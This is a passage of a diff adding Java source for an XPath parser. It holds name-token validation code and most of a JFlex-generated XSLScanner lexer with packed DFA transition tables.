(!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;iJFlex 1.4.3 + * on 2/5/11 6:29 PM from the specification file + * C:/Users/Jimmy Zhang/workspace/ximple-dev/com/ximpleware/xpath/XSLScanner.flex + */ +class XSLScanner extends sym2 implements java_cup.runtime.Scanner { + + /** This character denotes the end of file */ + public static final int YYEOF = -1; + + /** initial size of the lookahead buffer */ + private static final int ZZ_BUFFERSIZE = 16384; + + /** lexical states */ + public static final int YYINITIAL = 0; + + /** + * ZZ_LEXSTATE[l] is the state in the DFA for the lexical state l + * ZZ_LEXSTATE[l+1] is the state in the DFA for the lexical state l + * at the beginning of a line + * l is of the form l = 2*k, k a non negative integer + */ + private static final int ZZ_LEXSTATE[] = { + 0, 0 + }; + + /** + * Translates characters to character classes + */ + private static final String ZZ_CMAP_PACKED = + "\11\0\1\1\1\1\2\0\1\1\22\0\1\1\1\20\1\57\1\0"+ + "\1\21\1\0\1\0\1\60\1\11\1\12\1\22\1\6\1\10\1\4"+ + "\1\5\1\23\12\2\1\3\1\0\1\16\1\17\1\15\1\0\1\7"+ + "\15\0\1\53\2\0\1\52\11\0\1\13\1\0\1\14\1\0\1\0"+ + "\1\0\1\31\1\47\1\41\1\24\1\43\1\50\1\44\1\46\1\25"+ + "\1\0\1\55\1\35\1\27\1\32\1\30\1\40\1\0\1\33\1\36"+ + "\1\37\1\42\1\26\1\45\1\54\1\56\1\51\1\0\1\34\uff83\0"; + + /** + * Translates characters to character classes + */ + private static final char [] ZZ_CMAP = zzUnpackCMap(ZZ_CMAP_PACKED); + + /** + * Translates DFA states to action switch labels. + */ + private static final int [] ZZ_ACTION = zzUnpackAction(); + + private static final String ZZ_ACTION_PACKED_0 = + "\1\0\1\1\1\2\1\3\1\4\1\5\1\6\1\7"+ + "\1\10\1\11\1\12\1\13\1\14\1\15\1\16\1\17"+ + "\1\20\1\4\1\21\1\22\1\23\7\1\1\24\14\1"+ + "\2\4\1\0\2\3\1\25\1\26\1\27\1\30\1\31"+ + "\5\1\1\32\40\1\1\0\1\33\1\0\1\1\1\34"+ + "\1\35\3\1\1\36\1\37\61\1\1\0\1\40\2\1"+ + "\1\0\1\41\12\1\1\0\1\42\34\1\1\0\1\43"+ + "\5\1\2\0\1\1\1\0\1\44\6\1\1\0\1\45"+ + "\1\0\1\46\3\1\2\0\1\1\1\0\1\47\2\0"+ + "\34\1\1\50\3\1\1\0\1\1\1\51\6\1\1\0"+ + "\1\52\1\1\1\53\11\1\1\0\1\54\2\1\2\0"+ + "\7\1\1\0\1\55\1\0\1\56\1\0\1\57\7\1"+ + "\1\0\1\60\5\1\1\0\1\1\1\61\3\1\2\0"+ + "\6\1\1\0\1\62\2\1\1\0\1\63\27\1\1\0"+ + "\1\64\3\1\3\0\1\65\1\1\1\0\1\66\1\0"+ + "\1\67\5\1\1\0\1\70\1\1\1\0\1\71\2\1"+ + "\2\0\14\1\1\0\1\72\3\1\1\73\1\0\1\74"+ + "\10\1\1\0\1\75\1\1\2\0\1\1\2\0\7\1"+ + "\1\0\1\1\1\76\1\0\1\77\1\1\2\0\3\1"+ + "\1\0\1\100\3\1\2\0\1\1\2\0\1\1\1\0"+ + "\1\101\1\1\1\0\1\102\1\1\1\0\1\103\3\1"+ + "\1\0\1\1\1\104\1\0\1\105\5\1\1\0\1\106"+ + "\2\1\1\0\1\107\3\1\1\0\1\110\1\1\1\0"+ + "\1\111\7\1\1\0\1\112\10\1\1\0\1\113\24\1"+ + "\1\0\1\1\1\114\1\1\1\0\1\115\1\1\1\0"+ + "\1\116\24\1\1\0\1\117\4\1\1\0\1\120\5\1"+ + "\1\0\1\121\4\1\1\0\1\122\2\1\2\0\5\1"+ + "\1\0\1\123\5\1\1\0\1\124\2\1\1\0\1\125"+ + "\3\1\2\0\1\1\4\0\2\1\1\0\1\126\2\1"+ + "\1\0\1\127\1\1\1\0\1\130\1\0\1\131\14\1"+ + "\1\0\1\132\1\1\1\0\1\133\2\1\2\0\2\1"+ + "\1\134\3\0\1\135\1\0\1\136\2\0\1\137\1\140"; + + private static int [] zzUnpackAction() { + int [] result = new int[653]; + int offset = 0; + offset = zzUnpackAction(ZZ_ACTION_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAction(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /** + * Translates a state to a row index in the transition table + */ + private static final int [] ZZ_ROWMAP = zzUnpackRowMap(); + + private static final String ZZ_ROWMAP_PACKED_0 = + "\0\0\0\61\0\142\0\223\0\304\0\304\0\365\0\304"+ + "\0\304\0\304\0\304\0\304\0\304\0\304\0\u0126\0\u0157"+ + "\0\304\0\u0188\0\304\0\304\0\u01b9\0\u01ea\0\u021b\0\u024c"+ + "\0\u027d\0\u02ae\0\u02df\0\u0310\0\304\0\u0341\0\u0372\0\u03a3"+ + "\0\u03d4\0\u0405\0\u0436\0\u0467\0\u0498\0\u04c9\0\u04fa\0\u052b"+ + "\0\u055c\0\u058d\0\u05be\0\u05ef\0\u0620\0\u0651\0\61\0\304"+ + "\0\304\0\304\0\304\0\u0682\0\u06b3\0\u06e4\0\u0715\0\u0746"+ + "\0\61\0\u0777\0\u07a8\0\u07d9\0\u080a\0\u083b\0\u086c\0\u089d"+ + "\0\u08ce\0\u08ff\0\u0930\0\u0961\0\u0992\0\u09c3\0\u09f4\0\u0a25"+ + "\0\u0a56\0\u0a87\0\u0ab8\0\u0ae9\0\u0b1a\0\u0b4b\0\u0b7c\0\u0bad"+ + "\0\u0bde\0\u0c0f\0\u0c40\0\u0c71\0\u0ca2\0\u0cd3\0\u0d04\0\u0d35"+ + "\0\u0d66\0\u058d\0\304\0\u05be\0\u0d97\0\304\0\61\0\u0dc8"+ + "\0\u0df9\0\u0e2a\0\61\0\61\0\u0e5b\0\u0e8c\0\u0ebd\0\u0eee"+ + "\0\u0f1f\0\u0f50\0\u0f81\0\u0fb2\0\u0fe3\0\u1014\0\u1045\0\u1076"+ + "\0\u10a7\0\u10d8\0\u1109\0\u113a\0\u116b\0\u119c\0\u11cd\0\u11fe"+ + "\0\u122f\0\u1260\0\u1291\0\u12c2\0\u12f3\0\u1324\0\u1355\0\u1386"+ + "\0\u13b7\0\u13e8\0\u1419\0\u144a\0\u147b\0\u14ac\0\u14dd\0\u150e"+ + "\0\u153f\0\u1570\0\u15a1\0\u15d2\0\u1603\0\u1634\0\u1665\0\u1696"+ + "\0\u16c7\0\u16f8\0\u1729\0\u175a\0\u178b\0\u17bc\0\304\0\u17ed"+ + "\0\u181e\0\u184f\0\304\0\u1880\0\u18b1\0\u18e2\0\u1913\0\u1944"+ + "\0\u1975\0\u19a6\0\u19d7\0\u1a08\0\u1a39\0\u1a6a\0\304\0\u1a9b"+ + "\0\u1acc\0\u1afd\0\u1b2e\0\u1b5f\0\u1b90\0\u1bc1\0\u1bf2\0\u1c23"+ + "\0\u1c54\0\u1c85\0\u1cb6\0\u1ce7\0\u1d18\0\u1d49\0\u1d7a\0\u1dab"+ + "\0\u1ddc\0\u1e0d\0\u1e3e\0\u1e6f\0\u1ea0\0\u1ed1\0\u1f02\0\u1f33"+ + "\0\u1f64\0\u1f95\0\u1fc6\0\u1ff7\0\304\0\u2028\0\u2059\0\u208a"+ + "\0\u20bb\0\u20ec\0\u211d\0\u214e\0\u217f\0\u21b0\0\304\0\u21e1"+ + "\0\u2212\0\u2243\0\u2274\0\u22a5\0\u22d6\0\u2307\0\304\0\u2338"+ + "\0\304\0\u2369\0\u239a\0\u23cb\0\u23fc\0\u242d\0\u245e\0\u248f"+ + "\0\304\0\u24c0\0\u24f1\0\u2522\0\u2553\0\u2584\0\u25b5\0\u25e6"+ + "\0\u2617\0\u2648\0\u2679\0\u26aa\0\u26db\0\u270c\0\u273d\0\u276e"+ + "\0\u279f\0\u27d0\0\u2801\0\u2832\0\u2863\0\u2894\0\u28c5\0\u28f6"+ + "\0\u2927\0\u2958\0\u2989\0\u29ba\0\u29eb\0\u2a1c\0\u2a4d\0\304"+ + "\0\u2a7e\0\u2aaf\0\u2ae0\0\u2b11\0\u2b42\0\304\0\u2b73\0\u2ba4"+ + "\0\u2bd5\0\u2c06\0\u2c37\0\u2c68\0\u2c99\0\304\0\u2cca\0\304"+ + "\0\u2cfb\0\u2d2c\0\u2d5d\0\u2d8e\0\u2dbf\0\u2df0\0\u2e21\0\u2e52"+ + "\0\u2e83\0\u2eb4\0\304\0\u2ee5\0\u2f16\0\u2f47\0\u2f78\0\u2fa9"+ + "\0\u2fda\0\u300b\0\u303c\0\u306d\0\u309e\0\u30cf\0\u3100\0\304"+ + "\0\u3131\0\304\0\u3162\0\304\0\u3193\0\u31c4\0\u31f5\0\u3226"+ + "\0\u3257\0\u3288\0\u32b9\0\u32ea\0\304\0\u331b\0\u334c\0\u337d"+ + "\0\u33ae\0\u33df\0\u3410\0\u3441\0\304\0\u3472\0\u34a3\0\u34d4"+ + "\0\u3505\0\u3536\0\u3567\0\u3598\0\u35c9\0\u35fa\0\u362b\0\u365c"+ + "\0\u368d\0\304\0\u36be\0\u36ef\0\u3720\0\304\0\u3751\0\u3782"+ + "\0\u37b3\0\u37e4\0\u3815\0\u3846\0\u3877\0\u38a8\0\u38d9\0\u390a"+ + "\0\u393b\0\u396c\0\u399d\0\u39ce\0\u39ff\0\u3a30\0\u3a61\0\u3a92"+ + "\0\u3ac3\0\u3af4\0\u3b25\0\u3b56\0\u3b87\0\u3bb8\0\304\0\u3be9"+ + "\0\u3c1a\0\u3c4b\0\u3c7c\0\u3cad\0\u3cde\0\304\0\u3d0f\0\u3d40"+ + "\0\304\0\u3d71\0\304\0\u3da2\0\u3dd3\0\u3e04\0\u3e35\0\u3e66"+ + "\0\u3e97\0\304\0\u3ec8\0\u3ef9\0\304\0\u3f2a\0\u3f5b\0\u3f8c"+ + "\0\u3fbd\0\u3fee\0\u401f\0\u4050\0\u4081\0\u40b2\0\u40e3\0\u4114"+ + "\0\u4145\0\u4176\0\u41a7\0\u41d8\0\u4209\0\u423a\0\304\0\u426b"+ + "\0\u429c\0\u42cd\0\304\0\u42fe\0\304\0\u432f\0\u4360\0\u4391"+ + "\0\u43c2\0\u43f3\0\u4424\0\u4455\0\u4486\0\u44b7\0\304\0\u44e8"+ + "\0\u4519\0\u454a\0\u457b\0\u45ac\0\u45dd\0\u460e\0\u463f\0\u4670"+ + "\0\u46a1\0\u46d2\0\u4703\0\u4734\0\u4765\0\u4796\0\304\0\u47c7"+ + "\0\304\0\u47f8\0\u4829\0\u485a\0\u488b\0\u48bc\0\u48ed\0\u491e"+ + "\0\304\0\u494f\0\u4980\0\u49b1\0\u49e2\0\u4a13\0\u4a44\0\u4a75"+ + "\0\u4aa6\0\u4ad7\0\u4b08\0\304\0\u4b39\0\u4b6a\0\304\0\u4b9b"+ + "\0\u4bcc\0\304\0\u4bfd\0\u4c2e\0\u4c5f\0\u4c90\0\u4cc1\0\304"+ + "\0\u4cf2\0\304\0\u4d23\0\u4d54\0\u4d85\0\u4db6\0\u4de7\0\u4e18"+ + "\0\304\0\u4e49\0\u4e7a\0\u4eab\0\304\0\u4edc\0\u4f0d\0\u4f3e"+ + "\0\u4f6f\0\304\0\u4fa0\0\u4fd1\0\304\0\u5002\0\u5033\0\u5064"+ + "\0\u5095\0\u50c6\0\u50f7\0\u5128\0\u5159\0\304\0\u518a\0\u51bb"+ + "\0\u51ec\0\u521d\0\u524e\0\u527f\0\u52b0\0\u52e1\0\u5312\0\304"+ + "\0\u5343\0\u5374\0\u53a5\0\u53d6\0\u5407\0\u5438\0\u5469\0\u549a"+ + "\0\u54cb\0\u54fc\0\u552d\0\u555e\0\u558f\0\u55c0\0\u55f1\0\u5622"+ + "\0\u5653\0\u5684\0\u56b5\0\u56e6\0\u5717\0\u5748\0\304\0\u5779"+ + "\0\u57aa\0\304\0\u57db\0\u580c\0\304\0\u583d\0\u586e\0\u589f"+ + "\0\u58d0\0\u5901\0\u5932\0\u5963\0\u5994\0\u59c5\0\u59f6\0\u5a27"+ + "\0\u5a58\0\u5a89\0\u5aba\0\u5aeb\0\u5b1c\0\u5b4d\0\u5b7e\0\u5baf"+ + "\0\u5be0\0\u5c11\0\304\0\u5c42\0\u5c73\0\u5ca4\0\u5cd5\0\u5d06"+ + "\0\304\0\u5d37\0\u5d68\0\u5d99\0\u5dca\0\u5dfb\0\u5e2c\0\304"+ + "\0\u5e5d\0\u5e8e\0\u5ebf\0\u5ef0\0\u5f21\0\304\0\u5f52\0\u5f83"+ + "\0\u5fb4\0\u5fe5\0\u6016\0\u6047\0\u6078\0\u60a9\0\u60da\0\u610b"+ + "\0\304\0\u613c\0\u616d\0\u619e\0\u61cf\0\u6200\0\u6231\0\304"+ + "\0\u6262\0\u6293\0\u62c4\0\304\0\u62f5\0\u6326\0\u6357\0\u6388"+ + "\0\u63b9\0\u63ea\0\u641b\0\u644c\0\u647d\0\u64ae\0\u64df\0\u6510"+ + "\0\u6541\0\304\0\u6572\0\u65a3\0\u65d4\0\304\0\u6605\0\u6636"+ + "\0\304\0\u6667\0\304\0\u6698\0\u66c9\0\u66fa\0\u672b\0\u675c"+ + "\0\u678d\0\u67be\0\u67ef\0\u6820\0\u6851\0\u6882\0\u68b3\0\u68e4"+ + "\0\304\0\u6915\0\u6946\0\304\0\u6977\0\u69a8\0\u69d9\0\u6a0a"+ + "\0\u6a3b\0\u6a6c\0\304\0\u6a9d\0\u6ace\0\u6aff\0\304\0\u6b30"+ + "\0\304\0\u6b61\0\u6b92\0\304\0\304"; + + private static int [] zzUnpackRowMap() { + int [] result = new int[653]; + int offset = 0; + offset = zzUnpackRowMap(ZZ_ROWMAP_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackRowMap(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int high = packed.charAt(i++) << 16; + result[j++] = high | packed.charAt(i++); + } + return j; + } + + /** + * The transition table of the DFA + */ + private static final int [] ZZ_TRANS = zzUnpackTrans(); + + private static final String ZZ_TRANS_PACKED_0 = + "\1\2\1\3\1\4\1\5\1\6\1\7\1\10\1\11"+ + "\1\12\1\13\1\14\1\15\1\16\1\17\1\20\1\21"+ + "\1\22\1\23\1\24\1\25\1\26\1\27\1\2\1\30"+ + "\1\31\1\32\1\33\1\34\1\35\1\36\1\37\1\40"+ + "\1\41\1\42\1\43\1\44\1\45\2\2\1\46\1\47"+ + "\1\2\1\50\2\2\1\51\1\2\1\52\1\53\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\22\2"+ + "\3\0\1\3\61\0\1\4\2\0\1\55\134\0\1\2"+ + "\1\0\1\56\1\54\1\2\1\57\16\0\10\2\1\0"+ + "\22\2\21\0\1\60\60\0\1\61\60\0\1\62\64\0"+ + "\1\63\35\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\1\2\1\64\2\2\1\65\3\2\1\0\6\2\1\66"+ + "\13\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\7\2\1\67\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\4\2\1\70\3\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\7\2"+ + "\1\71\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\6\2\1\72\1\2\1\0\2\2\1\73"+ + "\7\2\1\74\7\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\4\2\1\75\1\76\2\2\1\0\5\2"+ + "\1\77\14\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\4\2\1\100\3\2\1\0\6\2\1\101\13\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\4\2"+ + "\1\102\1\103\2\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\2\2\1\104"+ + "\2\2\1\105\1\106\13\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\7\2\1\107\1\0\6\2\1\110"+ + "\13\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\4\2\1\111\1\112\1\2\1\113\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\4\2\1\114"+ + "\3\2\1\0\5\2\1\115\1\116\2\2\1\117\10\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\3\2\1\120\16\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\6\2\1\121\1\2\1\0\1\2"+ + "\1\122\20\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\6\2\1\123\13\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\124\3\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\4\2\1\125\1\126\2\2\1\0\1\127\21\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\16\2\1\130\3\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\6\2\1\131\13\2"+ + "\2\0\57\132\1\133\1\132\60\134\1\133\1\135\1\0"+ + "\1\135\1\0\2\135\14\0\1\136\1\0\10\135\1\0"+ + "\22\135\4\0\1\55\56\0\1\2\1\0\1\56\1\54"+ + "\2\2\16\0\10\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\2\2\1\137\5\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\4\2\1\140\15\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\1\2\1\141"+ + "\20\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\1\2\1\142\6\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\1\143\7\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\1\144"+ + "\7\2\1\0\4\2\1\145\15\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\2\2\1\146"+ + "\17\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\1\2\1\147\20\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\1\150\6\2\1\151\1\0"+ + "\2\2\1\152\17\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\3\2\1\153\4\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\3\2\1\154"+ + "\4\2\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\5\2\1\155\14\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\10\2\1\0"+ + "\1\2\1\156\20\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\4\2\1\157\3\2\1\160"+ + "\11\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\6\2\1\161\1\2\1\0\1\2\1\162\20\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\5\2\1\163"+ + "\1\2\1\164\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\3\2\1\165\4\2\1\0\12\2"+ + "\1\166\7\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\1\167\21\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\5\2\1\170\2\2\1\0"+ + "\5\2\1\171\14\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\17\2\1\172\2\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\10\2\1\0"+ + "\1\2\1\173\20\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\7\2\1\174\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\175\3\2"+ + "\1\0\6\2\1\176\13\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\1\177\2\2\1\200\2\2\1\201"+ + "\1\2\1\0\5\2\1\202\14\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\7\2\1\203\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\1\2"+ + "\1\204\6\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\1\2\1\205\6\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\3\2\1\206\16\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\1\207\7\2\1\0\4\2\1\210"+ + "\15\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\4\2\1\211\15\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\6\2\1\212\1\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\4\2\1\213\3\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\1\214\21\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\1\215\21\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\4\2\1\216\3\2\1\0\22\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\5\2\1\217"+ + "\2\2\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\21\2\1\220\2\0\1\135"+ + "\1\0\1\135\1\0\2\135\16\0\10\135\1\0\22\135"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\5\2\1\221\14\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\4\2\1\222\15\2"+ + "\2\0\1\2\1\0\1\2\1\54\1\223\1\2\16\0"+ + "\10\2\1\0\22\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\6\2\1\224\13\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\7\2\1\225"+ + "\1\0\22\2\2\0\1\2\1\226\1\2\1\54\2\2"+ + "\3\0\1\227\12\0\10\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\6\2"+ + "\1\230\13\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\3\2\1\231\4\2\1\0\22\2\2\0\1\2"+ + "\1\232\1\2\1\54\2\2\3\0\1\233\12\0\10\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\6\2\1\234\13\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\12\2"+ + "\1\235\7\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\6\2\1\236\1\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\237\3\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\5\2\1\240\2\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\6\2"+ + "\1\241\13\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\7\2\1\242\12\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\2\2"+ + "\1\243\17\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\7\2\1\244\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\1\2\1\245\6\2\1\0"+ + "\22\2\2\0\1\2\1\246\1\2\1\54\2\2\3\0"+ + "\1\247\12\0\10\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\1\2\1\250"+ + "\20\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\13\2\1\251\6\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\6\2\1\252\1\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\6\2\1\253\13\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\2\2\1\254"+ + "\17\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\1\2\1\255\6\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\6\2\1\256"+ + "\13\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\4\2\1\257\15\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\4\2\1\260"+ + "\15\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\6\2\1\261\13\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\3\2\1\262\4\2\1\0"+ + "\3\2\1\263\16\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\2\2\1\264\1\2\1\265"+ + "\15\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\6\2\1\266\1\2\1\0\22\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\7\2\1\267\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\1\270\21\2\2\0\1\2\1\0\1\2\1\54"+ + "\2\2\16\0\10\2\1\0\1\271\21\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\6\2"+ + "\1\272\13\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\1\2\1\273\20\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\4\2\1\274\3\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\5\2\1\275\2\2\1\0\22\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\6\2"+ + "\1\276\13\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\1\277\21\2\2\0\1\2\1\0"+ + "\1\2\1\54\2\2\16\0\10\2\1\0\1\300\21\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\1\2\1\301\20\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\4\2\1\302\3\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\3\2"+ + "\1\303\4\2\1\0\22\2\2\0\1\2\1\304\1\2"+ + "\1\54\2\2\3\0\1\305\12\0\10\2\1\0\22\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\3\2"+ + "\1\306\4\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\6\2\1\307\13\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\10\2"+ + "\1\0\2\2\1\310\17\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\1\2\1\311\20\2"+ + "\2\0\1\2\1\0\1\2\1\54\2\2\16\0\1\2"+ + "\1\312\6\2\1\0\22\2\3\0\1\226\7\0\1\227"+ + "\47\0\1\2\1\313\1\2\1\54\2\2\3\0\1\314"+ + "\12\0\10\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\5\2\1\315\2\2\1\0\22\2"+ + "\3\0\1\232\7\0\1\233\47\0\1\2\1\316\1\2"+ + "\1\54\2\2\3\0\1\317\12\0\10\2\1\0\1\2"+ + "\1\320\20\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\6\2\1\321\13\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\1\322\7\2\1\0"+ + "\22\2\2\0\1\2\1\0\1\2\1\54\2\2\16\0"+ + "\10\2\1\0\1\323\21\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\1\324\21\2\2\0"+ + "\1\2\1\0\1\2\1\54\2\2\16\0\7\2\1\325"+ + "\1\0\22\2\2\0\1\2\1\326\1\2\1\54\2\2"+ + "\3\0\1\327\12\0\10\2\1\0\22\2\2\0\1\2"+ + "\1\330\1\2\1\54\2\2\3\0\1\331\12\0\10\2"+ + "\1\0\22\2\2\0\1\2\1\0\1\2\1\54\2\2"+ + "\16\0\10\2\1\0\2\2\1\332\17\2\2\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\6\2\1\333\1\2"+ + "\1\0\22\2\3\0\1\246\7\0\1\247\47\0\1\2"+ + "\1\0\1\2\1\54\2\2\16\0\10\2\1\0\2\2"+ + "\1\334\17\2\2\0\1\2\1\335\1\2\1\336\2\2"+ + "\16\0\10\2\1\0\22\2\2\0\1\2\1\0\1\2"+ + "\1\54\2\2\16\0\10\2\1\0\1\2\1\337\20\2"+ + "\2\0\1\2\1\340\1\2\1\54\2\2\3\0\1\341"+ + 